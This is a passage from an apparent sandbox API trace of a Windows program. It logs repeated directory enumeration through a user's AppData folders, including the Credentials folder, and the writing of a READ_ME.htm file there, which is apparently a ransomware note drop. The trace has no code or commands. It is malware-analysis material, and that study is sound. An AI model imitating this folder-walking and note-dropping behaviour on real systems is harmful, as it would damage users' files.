ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Feeds Cache", cAlternateFileName="FEEDSC~1")) returned 1 [0144.062] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2cedac90, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x2cedac90, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x2cedac90, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FORMS", cAlternateFileName="")) returned 1 [0144.062] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7983b430, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x519a8410, ftLastAccessTime.dwHighDateTime=0x1d7b064, ftLastWriteTime.dwLowDateTime=0x519a8410, ftLastWriteTime.dwHighDateTime=0x1d7b064, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1 [0144.062] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x798152d0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0xcba84960, ftLastAccessTime.dwHighDateTime=0x1d706b2, ftLastWriteTime.dwLowDateTime=0xcba84960, ftLastWriteTime.dwHighDateTime=0x1d706b2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Media Player", cAlternateFileName="MEDIAP~1")) returned 1 [0144.063] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x14ff8dd0, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x5bb5ba10, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x5bb5ba10, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office", cAlternateFileName="")) returned 1 [0144.063] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8a7c4d0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf26feb50, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf26feb50, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneDrive", cAlternateFileName="")) returned 1 [0144.063] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2ce8e9d0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x23884f50, ftLastAccessTime.dwHighDateTime=0x1d7100d, ftLastWriteTime.dwLowDateTime=0x23884f50, ftLastWriteTime.dwHighDateTime=0x1d7100d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Outlook", cAlternateFileName="")) returned 1 [0144.063] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x796be670, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0xb1ed8fe0, ftLastAccessTime.dwHighDateTime=0x1d73a91, ftLastWriteTime.dwLowDateTime=0xb1ed8fe0, ftLastWriteTime.dwHighDateTime=0x1d73a91, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0144.063] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8cddad0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xe8d03c30, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xe8d03c30, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Live", cAlternateFileName="WINDOW~4")) returned 1 [0144.063] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x796be670, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7d4ee530, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7d4ee530, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Mail", cAlternateFileName="WINDOW~3")) returned 1 [0144.063] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x79698510, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79698510, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf7de167e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Media", cAlternateFileName="WINDOW~2")) returned 1 [0144.063] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x79698510, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x799de350, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x184eadb, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Sidebar", cAlternateFileName="WINDOW~1")) returned 1 [0144.064] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x79698510, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x799de350, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x184eadb, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Sidebar", cAlternateFileName="WINDOW~1")) returned 0 [0144.064] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0144.064] SetErrorMode (uMode=0x0) returned 0x1 [0144.064] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Credentials", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Credentials", lpFilePart=0x0) returned 0x36 [0144.064] SetErrorMode (uMode=0x1) returned 0x0 [0144.064] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Credentials\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\credentials\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x798876f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x798876f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xea43994d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0144.065] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x798876f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x798876f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xea43994d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.065] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x798876f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x798876f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xea43994d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0144.065] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0144.065] SetErrorMode (uMode=0x0) returned 0x1 [0144.065] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Credentials", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Credentials", lpFilePart=0x0) returned 0x36 [0144.065] SetErrorMode (uMode=0x1) returned 0x0 [0144.065] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Credentials\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\credentials\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x798876f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x798876f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xea43994d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0144.065] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x798876f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x798876f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xea43994d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.066] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x798876f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x798876f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xea43994d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0144.066] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0144.066] SetErrorMode (uMode=0x0) returned 0x1 [0144.066] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Credentials\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cd70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Credentials\\READ_ME.htm", lpFilePart=0x0) returned 0x42 [0144.066] SetErrorMode (uMode=0x1) returned 0x0 [0144.066] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Credentials\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\credentials\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0144.067] GetFileType (hFile=0x1d0) returned 0x1 [0144.067] SetErrorMode (uMode=0x0) returned 0x1 [0144.067] GetFileType (hFile=0x1d0) returned 0x1 [0144.067] WriteFile (in: hFile=0x1d0, lpBuffer=0x28efae8*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d2d8, lpOverlapped=0x0 | out: lpBuffer=0x28efae8*, lpNumberOfBytesWritten=0x21d2d8*=0x720, lpOverlapped=0x0) returned 1 [0144.068] CloseHandle (hObject=0x1d0) returned 1 [0144.069] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds", lpFilePart=0x0) returned 0x30 [0144.069] SetErrorMode (uMode=0x1) returned 0x0 [0144.069] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\feeds\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x798876f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79bcd530, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0144.069] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x798876f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79bcd530, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.070] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x79ba73d0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79ba73d0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xff107f92, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="FeedsStore.feedsdb-ms", cAlternateFileName="FEEDSS~1.FEE")) returned 1 [0144.070] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x798876f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79ba73d0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfee3456d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Feeds~", cAlternateFileName="MICROS~1")) returned 1 [0144.070] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x798876f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x798876f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", cAlternateFileName="{5588A~1")) returned 1 [0144.070] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x798876f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x798876f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", cAlternateFileName="{5588A~1")) returned 0 [0144.070] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0144.070] SetErrorMode (uMode=0x0) returned 0x1 [0144.071] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds", lpFilePart=0x0) returned 0x30 [0144.071] SetErrorMode (uMode=0x1) returned 0x0 [0144.071] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\feeds\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x798876f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79bcd530, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0144.071] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x798876f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79bcd530, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.071] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x79ba73d0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79ba73d0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xff107f92, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="FeedsStore.feedsdb-ms", cAlternateFileName="FEEDSS~1.FEE")) returned 1 [0144.071] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x798876f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79ba73d0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfee3456d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Feeds~", cAlternateFileName="MICROS~1")) returned 1 [0144.071] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x798876f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x798876f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", cAlternateFileName="{5588A~1")) returned 1 [0144.072] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x798876f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x798876f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", cAlternateFileName="{5588A~1")) returned 0 [0144.072] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0144.072] SetErrorMode (uMode=0x0) returned 0x1 [0144.072] GetLongPathNameW (in: lpszShortPath="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x21cd90, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x41 [0144.073] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpFilePart=0x0) returned 0x41 [0144.073] GetLongPathNameW (in: lpszShortPath="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x21cb80, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x41 [0144.074] GetLongPathNameW (in: lpszShortPath="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x21cd80, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x42 [0144.075] SetErrorMode (uMode=0x1) returned 0x0 [0144.075] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\feeds\\microsoft feeds~\\*"), lpFindFileData=0x21cfb0 | out: lpFindFileData=0x21cfb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x798876f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79ba73d0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfee3456d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0144.077] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x798876f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79ba73d0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfee3456d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.077] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x79ba73d0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79ba73d0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfeaa2466, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft at Home~.feed-ms", cAlternateFileName="MICROS~2.FEE")) returned 1 [0144.077] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x79ba73d0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79ba73d0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfedc214c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft at Work~.feed-ms", cAlternateFileName="MICROS~1.FEE")) returned 1 [0144.077] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x79b81270, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79b81270, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfee8082e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSNBC News~.feed-ms", cAlternateFileName="MSNBCN~1.FEE")) returned 1 [0144.077] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x79b81270, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79b81270, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfee8082e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSNBC News~.feed-ms", cAlternateFileName="MSNBCN~1.FEE")) returned 0 [0144.078] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0144.078] SetErrorMode (uMode=0x0) returned 0x1 [0144.079] GetLongPathNameW (in: lpszShortPath="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x21cd90, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x41 [0144.080] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", 